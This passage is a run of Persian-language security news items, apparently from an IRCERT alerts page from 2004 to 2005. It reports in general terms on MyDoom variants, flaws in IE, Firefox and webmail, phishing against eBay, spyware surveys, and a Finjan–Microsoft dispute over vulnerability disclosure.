آخرین MyDoom از طریق ایمیل وارد inbox سیستم می شود. بدنه ایمیلی که توسط یکی از این نسخ فرستاده می شود چنین است:“ Look at my homepage with my last webcam photos! “ و یا “FREE ADULT VIDEO! SIGN UP NOW! “. دومین نسخه پیغامهایی را مبنی بر یافتن دوست جدید ارسال می کند.

تمامی پیغامها متونی دارند که آنها را به صفحه وبی که توسط ویروس تولید و توسط یک کامپیوتر آلوده میزبانی می شود، پیوند می دهد.

هنگامی که کاربر بر روی لینک کلیک می کند، کامپیوتر با بالا آوردن IE یک صفحه خطرناک را از کامپیوتر آلوده میزبان نمایش می دهد. آن صفحه دارای حفره امنیتی IFrame‌است و ویروسها با استفاده از آن کدی را روی سیستم قربانی اجرا می کنند و آن را آلوده می کنند. هر دو نسخه MyDoom آدرسهای ایمیل را از روی سیستم قربانی برمی دارند و بدین ترتیب ویروس را گسترش می دهند.

بنابه گفته هوگر این دو نسخه شباهت چندانی با نسخه اصلی MyDoom ندارند و به نظر می رسد که نویسنده آنها با نویسنده نسخه اصلی متفاوت است.


﻿ IRCERT - نکنید - اخبارها و هشدارها Drag&Drop

Drag&Drop نکنید

20 آگوست 2004 – 30 مرداد 1383

یک کارشناس امنیتی هشدار داد که وجود یک حفره امنیتی در IE می تواند عملیات drag-and-drop را به drag-and-infect تبدیل کند و باعث آلودگی سیستم شود، حتی در سیستم هایی که آخرین اصلاحیه امنیتی یعنی SP2 را نصب کرده اند.

این مشکل آخرین نسخه IE را روی ویندوز XP تحت تاثیر قرار می دهد. یک هکر می تواند با استفاده از این مشکل ، یک برنامه را روی کامپیوتر قربانی نصب کند و برای این کار تنها کافی است کاربر را متقاعد کند تا سایتی را ببیند و بر روی یک تصویر کلیک کند.برنامه هکر در فلدر startup قرار می گیرد و زمانی که کاربر ویندوز را بازآغازی کند، اجرا می شود.

کارشناسی که این مشکل را یافته است با نام مستعار آنلاین http-equiv شناخته می شود. وی می گوید:“ اگر شما به صفحه وب مورد نظر نگاه کنید، تنها دو خط قرمز و یک تصویر می بینید. کافی است تصویر را روی دو خط بکشید ( drag ) و رها ( drop )‌ کنید. با این کار یک برنامه را درون فلدر startup خود قرار داده اید. “

شرکت امنیتی Secunia اعتقاد دارد که برنامه ای که از این مشکل سوء استفاده می کند می تواند کار را تنها با یک کلیک ساده از سوی کاربر به انجام رساند. Secunia درجه خطر این حفره را highly critical اعلام کرده است.

مایکروسافت گفته است که این موضوع خطر جدی برای کاربران ندارد چون باید هکر بتواند کاربران را قانع کند سایتی را ببینند و کاری آنجا انجام دهند. کارشناسان مایکروسافت در حال بررسی بیشتر موضوع هستند.

به نظر می رسد این مشکل امنیتی، جدی ترین مشکلی است که در کامپیوترهای اصلاح شده با SP2 یافت می شود.


﻿ IRCERT - اثر انگشت ایمیل ، راهی برای مقابله با اسپم - اخبارها و هشدارها

اثر انگشت ایمیل ، راهی برای مقابله با اسپم

13 آوریل – 25 فروردین

شرکت Everyone.net که یکی از ارائه کنندگان خدمات ایمیل است ، در تلاش است تا با کمک یک فناوری رمزنگاری که برای هر ایمیل یک امضای یکتا ایجاد می کند ، با نوعی از اسپم مقابله کند. در این نوع از اسپم ، کاربرانی که نشانی ایمیل آنها توسط اسپمرها یا کرمهای اینترنتی به سرقت رفته است ، با انبوهی از پیغامهای بازگشتی روبرو می شوند ، در حالی که آنها هیچ گاه پیغامی به نشانی فرستنده این ایمیها نفرستاده بودند تا ایمیل بازگشت مفهومی داشته باشد. Total Protection 2.0 سعی دارد تا این مشکل را برطرف کند.

این سرویس که در همین هفته در کنفرانس ISPCon در واشنگتن راه اندازی شده است ، شامل یک فناوری اثر انگشت ایمیل است که در آن ، یک سرآیند (Header) اضافی به هر ایمیل خروجی اضافه می شود.

بنابه گفته وین لویس – مدیر ارشد بخش فناوری شرکت Everyone.net - این سرآیند شامل یک امضای یکتا است که این امضا با کمک یک کلید رمزنگاری متقارن ایجاد می شود و بر اطلاعاتی مانند شناسه کاربر ایمیل، برچسب زمانی ایمیل و بعضی پارامترهای دیگر مبتنی است. سرورهای ایمیل خارجی نیز سرآیند را برمی گردانند که در آن یک اثر انگشت جدید اضافه شده است و معمولا بخشی از پیغام اصلی را نیز داراست. این کار به شرکت Everyone.net اجازه می دهد تا با بررسی امضای هر ایمیل رسیده متوجه شود آیا ایمیل اصلی از طرف یک کاربر این شرکت ارسال شده است و لذا این ایمیل جدید در پاسخ به آن است یا این ایمیل جدید توسط یک اسپمر یا کرم اینترنتی ارسال شده است.

این فناوری یک راه حل کامل نیست اما حداقل کاربران را از شر بازگشت ایمیلهایی که هرگز نفرستاده اند خلاص می کند.


﻿ IRCERT - در جدال با هویت ربایان - اخبارها و هشدارها eBay

eBay در جدال با هویت ربایان

4 ژانویه 2005 - 15 دی 1383

eBay قصد دارد تا با استفاده از یک سرویس ایمیل خصوصی، به جنگ کسانی برود که ایمیلهایی با نام این شرکت ارسال می کنند و از هویت این شرکت سوء استفاده می کنند.

این شرکت در هفته های اخیر یک صندوق پستی اختصاصی با نام My Messages را برای مشتریان خود راه اندازی کرده است که تنها ایمیلهای تبادل شده با eBay در آن ذخیره می شوند. با این روش اعضای سایت می توانند مطمئن باشند ایمیلهای دریافتی اسپم نیستند و از طرف هویت ربایان برای هدایت آنها به سایتهای قلابی نیز طراحی نشده اند. بعضی هویت ربایان با ارسال ایمیل به کاربران،‌ آنها را به سایتهایی قلابی که ظاهرا متعلق به eBay هستند راهنمایی می کنند تا از این طریق اطلاعات شخصی و شماره کارت اعتباری کاربران را سرقت کند.

کریس دونلی - سخنگوی شرکت eBay - در این باره چنین می گوید:“ با این روش شما مطمئن خواهید بود که ایمیلهایی که از eBay دریافت کرده اید واقعا از این شرکت ارسال شده اند. این یک راه مقابله با ایمیلهای قلابی و حملات هویت ربایی است.“

هویت ربایی یکی از حملات مبتنی بر فریب کاربران برای سرقت اطلاعات آنهاست که به سرعت گسترش پیدا کرده است. گرچه کاربران اولین قربانیان این حملات به نظر می آیند اما به وجهه و اعتبار شرکتها نیز صدمه وارد می شود و علاوه بر ضررهای مالی، اعتماد مشتراین خود را نیز از دست می دهند.

بنابر گزارش منتشر شده توسط Truste ، از هر 10 نفر کاربر، 7 نفر ایمیلهای هویت ربایان را دریافت می کنند که 15 درصد از آنها گول این ایمیلها را خورده اند.

شرکت eBay پیش از این نیز در حال مقابله با این حملات بوده است. سال گذشته این شرکت امکانی را در ابزار خود عرضه کرد که می تواند سایتهای قلابی eBay را تشخیص دهد.

به گفته دونلی مرکز پیغام این شرکت که به تازگی معرفی شده است و در نتیجه پیشنهادات اعضا ایجاد شده است، در حال حاضر فاز ابتدایی تولید خود را می گذراند و به ارتباطات اعضا با یکدیگر خواهد پرداخت.

کارشناسان معتقدند این حرکت eBay ممکن است به ایجاد خدمات ایمیل خصوصی صنایعی مانند بانکها بیانجامد. گرچه به نظر می رسد هنوز تهدید حملات هویت ربایی به نظر این صنایع کاملا جدی نیست.

eBay از روز یکشنبه اطلاع رسانی به اعضای خود درباره این سرویس جدید را آغاز کرده است.


﻿ IRCERT - و رفع مشکل هویت ربایی - اخبارها و هشدارها eBay

eBay و رفع مشکل هویت ربایی

4 مارس 2005 - 14 اسفند 1383

eBay در تلاش است تا مشکل امنیتی نرم افزاری خود را که باعث می شودامکان انجام حمله هویت ربایی با استفاده از URL های قانونی آن انجام دهند، برطرف کند.

یک سخنگوی این شرکت حراج آنلاین امروز اعلام کرد که شرکت امیدوار است بتواند اصلاحیه را طی چند روز آینده بین صفحات وب خود توزیع کند. این مشکل که eBay آن را اشکل نرم افزاری معرفی کرده است، می تواند توسط هکرها مورد سوء استفاده قرار گیرد و کاربران را از طریق یک لینک واقعی eBay به یک سایت خطرناک راهنمایی کند.

eBay یکی از هدفهای جدی حملات هویت ربایی است. معمولا ایمیلهایی برای کاربران ارسال می شود که در ظاهر از طرف یک شرکت ارائه کننده خدمات معتبر فرستاده شده اند، اما در واقع کاربران را به دیدن سایتهای خطرناک و آلوده می برند. سایت قلابی در ظاهر کاملا قانونی و واقعی است اما هدف از ایجاد آن تنها سرقت اطلاعات شخصی فرد قربانی مانند شماره کارت اعتباری است. eBay مرتبا به مشتریان خود درباره چنین ایمیلهایی هشدار داده است.

اما تفاوت آخرین مشکل پیش آمده با موارد قبلی در آن است که از URL واقعی eBay برای فریب قربانیان استفاده می شود و در واقع تشخیص حملات هویت ربایی از ایمیلها و صفحات وب واقعی مشکل شده است.


﻿ IRCERT - حفره امنیتی در آخرین اصلاحیه مایکروسافت - اخبارها و هشدارها

حفره امنیتی در آخرین اصلاحیه مایکروسافت

24 ژانویه 2005 - 5 بهمن 1383

متخصصان امنیتی GeCad Net هشدار داده اند که در آخرین اصلاحیه ارائه شده توسط مایکروسافت یک مشکل امنیتی یافته اند.

این شرکت رومانیایی اعلام کرده است که آخرین اصلاحیه ارائه شده توسط مایکروسافت در اوایل ماه جاری میلادی که در قالب بولتن امنیتی MS05-001 ارائه شد، نتوانسته است تمامی مشکلات موجود در HTML Help ActiveX control را بپوشاند.

GeCad که نرم افزار ضدویروس خود را در سال 2003 به مایکروسافت فروخته ، گفته است که این اصلاحیه حداقل یکی از حفره هایی را که امکان نفوذ به هکر می دهد، نپوشانده است.

مایکروسافت ابتدا در پاسخ مدعی شد که این حفره توسط اصلاحیه ارائه شده پوشانده شده و مشکلی وجود ندارد، اما پس از آن ادعا کرد که این مشکل یک حفره جدید است که در آن اصلاحیه مدنظر نبوده است. مایکروسافت اشاره ای به زمان انتشار اصلاحیه این مشکل نکرده است.

GeCad اعلام کرده است که به دلایل امنیتی قصد ندارد فعلا جزئیات این مشکل را اعلام کند. متخصصان می گویند درصورتی که بر روی ویندوز XP اصلاحیه SP2 نصب شده باشد، خطری از جانب این حفره متوجه آن سیستم نیست.


﻿ IRCERT - پایان دوره ویروسهای ایمیل - اخبارها و هشدارها

پایان دوره ویروسهای ایمیل

28 آوریل 2005 - 8 اردیبهشت 1384

متخصصین امنیتی حاضر در کنفرانس لندن امروز اعلام کردند که دوره ویروسهای ارسال شده با استفاده از ایمیل به پایان رسیده است.

همچنین کارشناسانی که در کنفرانس Infosecurity Europe حاضر شده بودند، برنامه های جاسوسی را جدی ترین خطری که کاربران را تهدید می کند، معرفی کردند.

یکی از مدیران ارشد شرکت امنیتی Websense معتقد است که کاهش تعداد ویروسهای ایمیلی ادامه خواهد یافت. مدیر بخش آوزش Trend Micro نیز می گوید که هر چیزی دوره ای دارد و دوره این نوع ویروس به سر آمده است.

بسیاری از کارشناسان موج بعدی حملات را متعلق به spyware یا همان برنامه های جاسوسی می دانند.


﻿ IRCERT - یونیکس کاران مراقب ویروسها باشید! - اخبارها و هشدارها

یونیکس کاران مراقب ویروسها باشید!

7 آوریل – 19 فروردین

متخصصان می گویند که اخیرا ویروس نویسان علاقه زیادی به یونیکس نشان می دهند.

هر کاربر کامپیوتر که طی هفته های گذشته به ایمیل خود سر زده است , با انبوهی از ایمیلهای آلوده به ویروس مواجه شده است. البته در حال حاضر بیشتر ویروسها تنها ویندوز را آلوده می کنند و به سیستم عاملهای دیگر کاری ندارند اما متخصصان عقیده دارند که ویروس نویسان درحال گسترده تر کردن حوزه عمل خود هستند تا بتوانند پتانسیل بیشتری برای تخریب سیستم عاملهای گوناگون ایجاد کنند, لذا در حال کار بروی حفره های امنیتی نرم افزارهایی هستند که روی سیستم عاملهای بیشتری نصب و اجرا می شود.

گراهام کلولی – مشاور ارشد فناوری شرکت Sophos و متخصص ضدویروس - اعلام کرده است که بعضی ویروس نویسان به سایر سیستم های عامل و به خصوص یونیکس توجه ویژه ای نشان می دهند و تعدادی کرم اینترنتی آلوده کننده یونیکس منتشر شده است. وی اضافه کرده است :" کاربران سیستم عامل مکینتاش نیز نباید فکر کنند که ویروس تنها مختص کاربران ویندوز خواهد بود , بلکه در آینده این سیستم عاملها نیز در معرض خطر هستند. البته در حال حاضر شواهدی مبنی بر حملات گسترده به مکینتاش مشابه آنچه در ویندوز دیده ایم, وجود ندارد." وی معتقد است ماربران سیستم عامل مکینتاش نیز باید همیشه سیستم خود را از نظر امنیتی بروز کنند و ویروس کش رایانه خود را نیز بروز نگهدارند.


﻿ IRCERT - اخبار و هشدارها - Firefox دو کد نفوذ برای حفره های

دو کد نفوذ برای حفره های Firefox

9 مه 2005 - 19 اردیبهشت 1384

دو حفره در مرورگر Firefox بالاترین درجه خطر یعنی extremely critical را دریافت کرده اند چون کد نفوذ مربوط به آنها در دسترس قرار گرفته است.

شرکت امنیتی Secunia که این درجه خطر را به این حفره ها داده است، اعلام کرده که دو مشکل cross-site scripting و دسترسی به سیستم از راه دور در نسخه 1.0.3 کشف شده اند اما سایر نسخ نیز ممکن است تحت تاثیر این مشکلات باشند.

هنگامی که از این دو حفره امنیتی ترکیب شوند، می توان از آنها سوء استفاده کرد. البته تا کنون هیچ موردی که یک هکر از کد نفوذ منتشر شده استفاده کرده باشد، گزارش نشده است.

یکی از مشکلات شامل نشانی های جاوااسکریپت IFRAME می شود که به خوبی از آنها در برابر اجرا در قالب یک URL‌ دیگر در لیست history محافظت نشده است. به عبارت دیگر اگر شما به یک سایت خطرناک بروید،‌آن سایت می تواند اطلاعات کوکی سایتهایی را که پیش از آن شما دیده اید، سرقت کند. هکر می تواند از آن اطلاعات جهت سرقت شناسه یا دسترسی به سایتهایی که با کلمات عبور محافظت می شوند و کاربر از آنها بازدید کرده،‌ استفاده کند.

مشکل امنیتی دوم در پارامتر IconURL در InstallTrigger.install() وجود دارد. اطلاعات پاس شده به این پارامتر پیش از استفاده به خوبی مورد بررسی قرار نمی گیرند و لذا به یک هکر اجازه می دهد تا اختیارات کاربر را به دست آورد.

کاربرانی که از سایتهای update.mozilla.org و addons.mozilla.org نرم افزار دریافت و نصب کرده اند در خطر هستند. موزیلا خدمات به روز رسانی تحت وب خود را تغییر داده و از کاربران خواسته است تا به طور موقت جاوا اسکریپت را غیرفعال کنند.


﻿ IRCERT - اخبار و هشدارها - IE کدی برای نفوذ به

کدی برای نفوذ به IE

4 نوامبر 2004 - 14 آبان 1383

متخصصان امنیت امروز اعلام کردند خطری که با یافتن حفره امنیتی موجود در IE آشکار شده بود،‌ با انتشار برنامه نفوذکننده از طریق این حفره، به اوج رسیده است.

شرکت Secunia در راهنمایی امنیتی جدید خود درجه خطر مشکل امنیتی سرریز بافر را به بالاترین میزان ارتقا داده است. این حفره که اطلاعات مربوط به آن امروز در اختیار عموم قرار گرفت، می تواند به شکلی مورد استفاده قرار گیرد که زمانی که این مرورگر نوع خاصی از صفحات وب را بارگذاری می کند، یک برنامه خطرناک را نیز اجرا کند. بنابه گفته Secunia این حفره XP SP2 را تحت تاثیر قرار نمی دهد.

این شرکت اعلام کرده است از آنجا که کد مربوط به نفوذ از طریق این حفره در اختیار عموم قرار گرفته و بر روی mailing list ها منتشر شده است، لذا درجه خط آن را بالاترین میزان یعنی extremely critical اعلام کرده است.

مشکل امنیتی Iframe آخرین مشکل از سری مشکلات امنیتی کشف شده در IE است. هفته گذشته شرکت ScanSafe اعلام کرد که در سه ماهه دوم امسال یک حفره امنیتی در IE بیش از سایر حفره ها توسط هکرها جهت نفوذ مورد استفاده قرار گرفته است. ماه گذشته میلادی شرکتهای امنیتی اعلام کردند که چند حفره امنیتی مرورگر IE را همراه با سایر مرورگرها تحت تاثیر قرار داده است.

مایکروسافت اعلام کرده است که این شرکت درحال تحقیق و بررسی بر روی Iframe است و تا به حال اطلاعی درباره برنامه ای که برای نفوذ از طریق این حفره نوشته شده باشد، دریافت نکرده است. این شرکت همچنین قول داده است تا پس از بررسی های لازم، عکس العمل مورد نیاز را برای حفاظت از مشتریان خود نشان دهد. این شرکت در بیانیه خود اشاره کرده است که همزمان با سایرین و از طریق اعلان عمومی از وجود حفره آگاه شده است و این شیوه اطلاع رسانی را مورد انتقاد قرار داده است. به اعتقاد این شرکت اطلاع رسانی اولیه به شرکتهای تولید کننده پیش از اعلان عمومی باعث می شود تا شرکتها بتوانند امنیت بیشتری را برای مشتریان خود به ارمغان بیاورند.

کسانی که ویندوز XP خود را با SP2 به روز کرده اند و کاربرانی که از سایر مرورگرها استفاده می کنند مورد تهدید نیستند.


﻿ IRCERT - اخبار و هشدارها - Firefox خطر برای کاربران نسخ قدیمی

خطر برای کاربران نسخ قدیمی Firefox

6 جولای 2005 – 15 تیر 1384

متخصصان امنیتی هشدار دادند که کدی که می تواند برای حمله به سیستمهای دارای نسخ قدیمی مرورگر Firefox استفاده شود، روی شبکه اینترنت قرار گرفته است.

تیم پاسخگویی امنیتی فرانسه در یک راهنمایی امنیتی اشاره کرده است که این کد از حفره ای استفاده می کند که در Firefox 1.0.1 و نسخ قدیمی تر این مرورگر وجود دارد.

این مشکل امنیتی از شیوه مدیریت تصاویر GIF در نسخ قدیمی این مرورگر ناشی می شود. یک هکر می تواند با فریب دادن یک کاربر وی را به یک صفحه وب هدایت کند و یا ایمیلی دارای یک تصویر آلوده را برای وی ارسال کند و از این طریق کنترل کامپیوتر وی را در اختیار بگیرد.

این مشکل تنها در Firefox 1.0.1 و نسخ قبلی وجود داشته و در نسخه بعد از آن یعنی Firefox 1.0.2 که در ماه مارس ارائه شده، برطرف شده است. آخرین نسخه این مرورگر در ماه مه منتشر شده است.

یکی از مدیران شرکت امنیتی iDefense معتقد است از آنجایی که بیش از سه ماه از ارائه نسخه 1.0.2 و برطرف شدن این مشکل می گذرد، کد نفوذ کشف شده مشکل چندانی ایجاد نمی کند.

یکی از سخنگویان بنیاد موزیلا، تولیکننده مرورگر Firefox، اعلام کرده است که اکثر کاربران این مرورگر، نسخ خود را به 1.0.4 ارتقا داده اند. وی می افزاید که موزیلا از کاربران می خواهد تا به صورت مرتب انتشار اصلاحیه ها و نسخ جدید را چک کنند و درصورت ارائه یک نسخه جدید، آن را دریافت و نصب کنند.

ورود مرورگر Firefox باعث شده است تا پس از سالها سهم مرورگر مایکروسافت، یعنی IE، از بازار کمی کاهش یابد. بنابر گزارشهای ارائه شده تا پایان ماه آوریل، سهم Firefox‌ از بازار به 7 درصد رسیده است.


﻿ IRCERT - نفوذ به ویندوز از حفره های جدید - اخبارها و هشدارها

نفوذ به ویندوز از حفره های جدید

24 دسامبر 2004 - 4 دی 1383

یک گروه امنیتی چینی کدی را برای نفوذ به ویندوز از طریق دو حفره جدید کشف شده منتشر کرد.

شرکت Symantec امروز به مشتریان خود درباره این حفره ها هشدار داد. یکی از این حفره ها در تابع LoadImage قرار داد و به یک هکر امکان می دهد در زمانی که کاربر تصویر آلوده را در سایت و یا ایمیل خود مشاهده می کند، سیستم وی را در اختیار بگیرد. حفره دیگر در برنامه Help ویندوز وجود دارد و می تواند هر برنامه ای را که فایل Help را باز می کند، تحت تاثیر قرار دهد.

بنابه گفته یکی از مدیران Symantec از آنجایی که این حفره ها در توابع کتابخانه ای مورد استفاده ویندوز قرار دراند، تقریبا تمامی مرورگرها و برنامه ای ایمیل را تحت تاثیر قرار می دهند. متخصصان به علت وجود کد نمونه نفوذ، احتمال استفاده سریع برنامه های جاسوسی و خطرناک را از این حفره ها بالا می دانند. یک کرم اینترنتی نیز می تواند با کمک آنها منتشر شود.

مایکروسافت اظهار نظری درباره این حفره ها نکرده است. با توجه به نزدیک بودن کریسمس و عدم آمادگی شرکتها برای مقابله با مشکلات جدید امنیتی، متخصصان کشف این حفره ها را در این زمان بسیار خطرناک می دانند.


﻿ IRCERT - این ضدویروسها به درد نمی خورند! - اخبارها و هشدارها

این ضدویروسها به درد نمی خورند!

6 جولای 2004 – 16 تیر 1383

بنابر تحقیقات انجام شده از سوی شرکت امنیتی MessageLabs سه چهارم شرکتهای اروپایی شرکت کننده در این تحقیق معتقدند که ویروسها بسیار خطرناکتر خواهند شد. دو سوم نیز باور دارند که تعداد حملات افزایش خواهد یافت.

ناتاشا استیلی –تحلیلگر امنیت اطلاعات در MessageLabs – امروز اعلام کرد که افزایش بیش از حد فعالیت ویروسها طی دو سال گذشته نشان از رشد نگران کننده آینها در آینده دارد.

بنابر تحقیق دیگری که توسط FBI انجام شده است ، 99 درصد شرکتها ضدویروسهایی را برای حفاظت از کامپیوترهای خود نصب کرده اند. با وجود این در سال 2003، 82 درصد مورد هجوم یک ویروس قرار گرفتند که باعث به بار آمدن 200 میلیارد دلار خسارت شد.

بنابراین جای تعجب نیستکه تنها 35 درصد از پاسخ دهندگان به تحقیق MessageLabs به نرم افزار ضدویروس سنتی خود اعتماد داشته اند ، در حالی که 43 درصد اعلام کرده اند که اعتمادی به خدمات حفاظتی این نرم افزارها ندارند. حدود یک چهارم پاسخ دهندگان (22 درصد) نیز معتقدند که تغییر نوع حملات ویروسها نشان می دهد که طی یک دهه محصولات سنتی ضدویروس کارکرد خود را از دست خواهند داد.

استیلی می گوید شاید دلیل این مشکل ، فناوری ضدویروس برای مقابله با ویروسها باشد که مبتنی بر امضا است و لذا برای حفاظت از دیگران ، یک نفر باید آلوده شود. منظور از امضا کدهای کوتاه یا الگوهایی است که در بدنه ویروس یا اسب تروا یافت می شود و یکتاست. برنامه ضدویروس می تواند از این شناسه ها استفاده کند تا برنامه های بد را از خوب تمیز دهد. در واقع تا فرد یا افرادی آلوده نشوند و شرکت های ضدویروس با مطالعه ویروس جدید و الگوی آن ، آن را شناسایی نکنند ،‌محصولات آنها ، این ویروس جدید را نخواهد شناخت. این روش باعث می شود با وجودی که یک شرکت ضدویروس خود را فعال و به روز نگه می دارد بازهم به ویروسها جدید آلوده شود و همین امر باعث کاهش اعتماد این شرکتها به محصولات ضدویروس می شود.

کرمهای جدید با سرعتی باور نکردنی منتشر می شوند در حالی که ارائه نسخه جدید فایل اطلاعاتی ضدویروس برای به روز رسانی محصول کاربران حداقل بین 6 ساعت تا یک روز طول می کشد. این زمان که به پنجره آسیب پذیری مشور است زمانی است که برای گسترش ویروسها و کرمها مورد استفاده قرار می گیرد. تمامی کامپیوترها طی این مدت در برابر ویروس جدید بی دفاع هستند و لذا با وجود تمهیدات درنظر گرفته شده بازهم حملات ویروسها ادامه دارد.


﻿ IRCERT - بی توجهی شرکتها به ابزارهای ضدجاسوسی - اخبارها و هشدارها

بی توجهی شرکتها به ابزارهای ضدجاسوسی

27 اکتبر 2004 - 6 آبان 1383

بنابر گزارشی که امروز منتشر شده است ،با وجودی که اکثر شرکتها متوجه رشد میزان نرم افزارهای جاسوسی بر روی سیستمهای کارمندان خود شده اند اما تعداد کمی از فناوری ضدجاسوسی استفاده می کنند.

در این مطالعه که بر روی مدیران IT و مدیران اجرایی انجام شده است، 70 درصد به رشد میزان نرم افزارهای جاسوسی توجه داشته اند اما کمتر از 10 درصد از نرم افزارهای ضدجاسوسی استفاده می کنند.

به نظر می رسد مشکل از آنجا ناشی می شود که درک این اتفاق به کندی صورت گرفته است. ابزارها جاسوسی طی 2 تا 3 سال گذشته در حال گسترش خود بوده اند. حال پس از گذشت این مدت، مدیران IT متوجه شده اند که سیستم هایشان مرتبا خراب می شود ویا زمانی طولانی لازم دارد تا بوت شود و لذا شروع به بررسی مشکل کرده اند و ابزارهای جاسوسی را یافته اند.

بنابر این گزارش ، 96درصد از مدیران احساس می کنند که فایروال و ضدویروس موجود بر روی سیستم آنها را در برابر خطرات خارجی محافظت می کند. آنها نرم افزارهای جاسوسی را تهدیدی برای بازدهی اقتصادی خود می دانند نه تهدیدی برای امنیت خود. آنها پیش از این درباره اسپم نیز چنین تصوری داشتند.

82 درصد از افراد تحت مطالعه گفته اند که در حال حاضر سیستم آنها به نرم افزار جاسوسی آلوده است. یک سوم پاسخ دهندگان نیز اشاره کرده اند که میزان این نرم افزارها طی 6 ماهه اخیر افزایش یافته است.

متاسفانه این مشکل در بین کاربران خانگی نیز وجود دارد. سال گذشته NCSA در گزارشی اعلام کرد که 91 درصد از 120 فرد مورد بررسی بر روی سیستم خود نرم افزار جاسوسی داشتند و تقریبا هیچ یک از پاسخگویان نمی دانست که این نرم افزارها می توانند از طریق برنامه های اشتراک فایل منتقل و نصب شوند.

شرکت McAfee سال گذشته یک ابزار ضدجاسوسی ارائه کرد. شرکتهای کوچکتر مانند PestPatrol و Lavasoft نیز ابزارهای مشابهی ارائه کرده اند.


﻿ IRCERT - اخبار و هشدارها- Hotmail,Yahoo حفره در فیلتر

صفحه اول > اخبار و هشدارها

حفره در فیلتر Hotmail و Yahoo

23 مارس - 4 فروردین

یک حفره در فیلتر دو سرویس دهنده مهم ایمیل یعنی Hotmail و Yahoo باعث شد تا کاربران این سایتها در خطر حمله از طریق اسکریپت های آنلاین قرار گیرند. این حفره به هکرها امکام می دهد تا کلمات عبور را به سرقت ببرند , به محتوای ایمیل های باز شده توسط قربانی دسترسی داشته باشند و حتی کرمهای اینترنتی را در ایمیل مبتنی بر وب گسترش دهند.

کارشناسان می گویند که Hotmail و Yahoo از هر روشی استفاده می کنند تا از اجرای یک اسکریپت در یک ایمیل جلوگیری کنند اما آنها راهی را برای گذر کردن از این فیلترها یافته اند. از نظر فنی این مشکل امنیتی در دسته مشکلات امنیتی با نام cross-site scripting flaws قرار می گیرد. این دسته از یک مشکل امنیتی در یک سایت استفاده می کنند تا دستورات خطرناک را به یک سایت دیگر یا یک کامپیتر شخصی بفرستند.

مشکل فعلی با استفاده از یکی از امکانات IE پدید می آید و لذا تنها کاربران این مرورگر در معرض خطر هستند. در این مرورگر امکان اضافه کردن تنظیم وقت و سرعت و هماهنگ سازی با کمک ماژول HTML+TIME module وجود دارد و از همین امکان جهت نفوذ استفاده شده است.

Hotamil اعلام کرده است که با فیلتر کردن اسکریپتهای خطرناک بر روی سرورهای خود این مشکل را مرتفع کرده است اما Yahoo اظهار امیدواری کرده است که به سرعت بتواند این خطر را از کاربرانش دور کند.


﻿ IRCERT - حضور و غیاب کلاس با اثر انگشت - اخبارها و هشدارها

حضور و غیاب کلاس با اثر انگشت

1 ژوئن 2005 - 11 خرداد 1384

مدرسه ای در ایرلند طی یک کار آزمایشی حضور و غیاب در کلاسهای درس را با کمک تجهیزات خواننده اثر انگشت انجام می دهد.

این فناوری که TruancyGuard نام دارد و در کالج سنت اندروز به کار گرفته شده است، اثر انگشت دانش آموزان را می خواند اما تنها بخشهایی از آن را ثبت می کند.

معلمان این مدرسه از استفاده از این سیستم ابزار رضایت کرده اند چون زمانی که برای حضور و غیاب صرف می شد، با این روش آزاد می شود و آنها زمان بیشتری برای کار با دانش آموزان دارند.

اگر دانش آموزی در مدرسه حاضر نشود، والدین یک پیام متنی دریافت می کنند. همچنین پدر و مادر می توانند از طریق یک سایت امن حضور دانش آموز را کنترل کنند. برای مثال زمانی که دانش آموزی در مدرسه حاضر می شود و اثر انگشت خود را ثبت می کند، در همان زمان اطلاعات روی سایت و همچنین سیستم تلفن گویای مدرسه ثبت می شود.

به گفته تولیدکننده این سیستم، از آنجایی که بسیاری از افراد از ثبت شدن اثر انگشت یکتایشان نگرانند، این سیستم تنها بخشی از اثر انگشت را ثبت می کند.


﻿ IRCERT - اخبار و هشدارها - XP هشدار به کاربران ویندوز

هشدار به کاربران ویندوز XP

12 نوامبر 2004 – 22 آبان 1383

شرکت Finjan – تولید کننده ابزارهای نرم افزاری امنیتی – اعلام کرده است که 10 مشکل امنیتی در جدیدترین به روز رسانی سیستم عامل ویندوز XP یعنی SP2 یافته است.

این شرکت انگلیسی در بیانیه ای که جزئیات کمی دارد مدعی شده است که این حفره ها به هکر اجازه می دهند تا بدون جلب توجه کاربر از راه دور به فایلهای وی دسترسی پیدا کند، ابزارهای امنیتی او را غیرفعال کند و برنامه های مورد نظر خود را اجرا کند.

مدیرعامل این شرکت اشاره کرده است که SP2 مشکلاتی دارد که امنیت کاربر را با خطر مواجه می کند و رهکارهای امنیتی Finjan می تواند محیطی امن را برای کاربران ایجاد کند.

این شرکت به مایکروسافت مهلت نداده تا اشکالات گفته شده را رفع کند بلکه با معرفی این اشکالات به تبلیغ ابزارهای خود جهت مقابله با تهدیدها پرداخته است. بسیاری از شرکتهای امنیتی پس از یافتن حفره های امنیتی در محصولات یک شرکت، پیش از اعلان عمومی، به آن شرکت اطلاع می دهند تا شرکت مزبور راهی را برای تامین امنیت مشتریان خود بیابد.

مایکروسافت معتقد است که در بسیاری از موارد اشکالات امنیتی گفته شده در گزارش Finjan تکراری یا اشتباه هستند. دبی فرای ویلسون – مدیر بازاریابی واحد فناوری و تجارت امنیتی مایکروسافت – می گوید:" ما قویا احساس می کنیم که آنها غلو می کنند و باعث اختلال در بازار می شوند. ما بسیار متاسفیم که آنها به جای فکر کردن درباره امنیت مشتریان و آنچه برای آنان بهتر است، به ایجاد ترس پرداخته اند."

اما مدیرعامل Finjan این کار را هشدار ، اطلاع رسانی و آموزش به کاربران می داند. وی می گوید:" کاربران نیاز دارند بدانند که باید مراقب باشند و بدون آموزش، کاربران مراقبت کافی را به عمل نمی آورند. من فکر نمی کنم که ما کاربران را می ترسانیم. من به ایجاد رعب معتقد نیستم اما معتقدم باید حساب شده عمل کرد." وی همچنین اشاره می کند که زمان و اطلاعات کافی در اختیار مایکروسافت قرار داده بوده است. او می گوید:" ما با مایکروسافت درباره این مسائل بحث نمی کنیم. ما 19 حفره پیدا کرده ایم و به شما نشان دادیم که می توان کنترل یک کامپیوتر را از راه دور به دست گرفت."

در مقابل ویلسون معتقد است که Finjan حتی 10 حفره را به طور مشخص نام نبرده و معلوم نیست واقعا چند مشکل امنیتی یافته است. وی می گوید:" آنها مدتی است در رابطه با مسائل مختلفی با ما در حال مذاکره و تماس هستند اما هیچ ارتباط مشخصی درباره 10 حفره و مشکل امنیتی بین این دو شرکت برقرار نشده است."

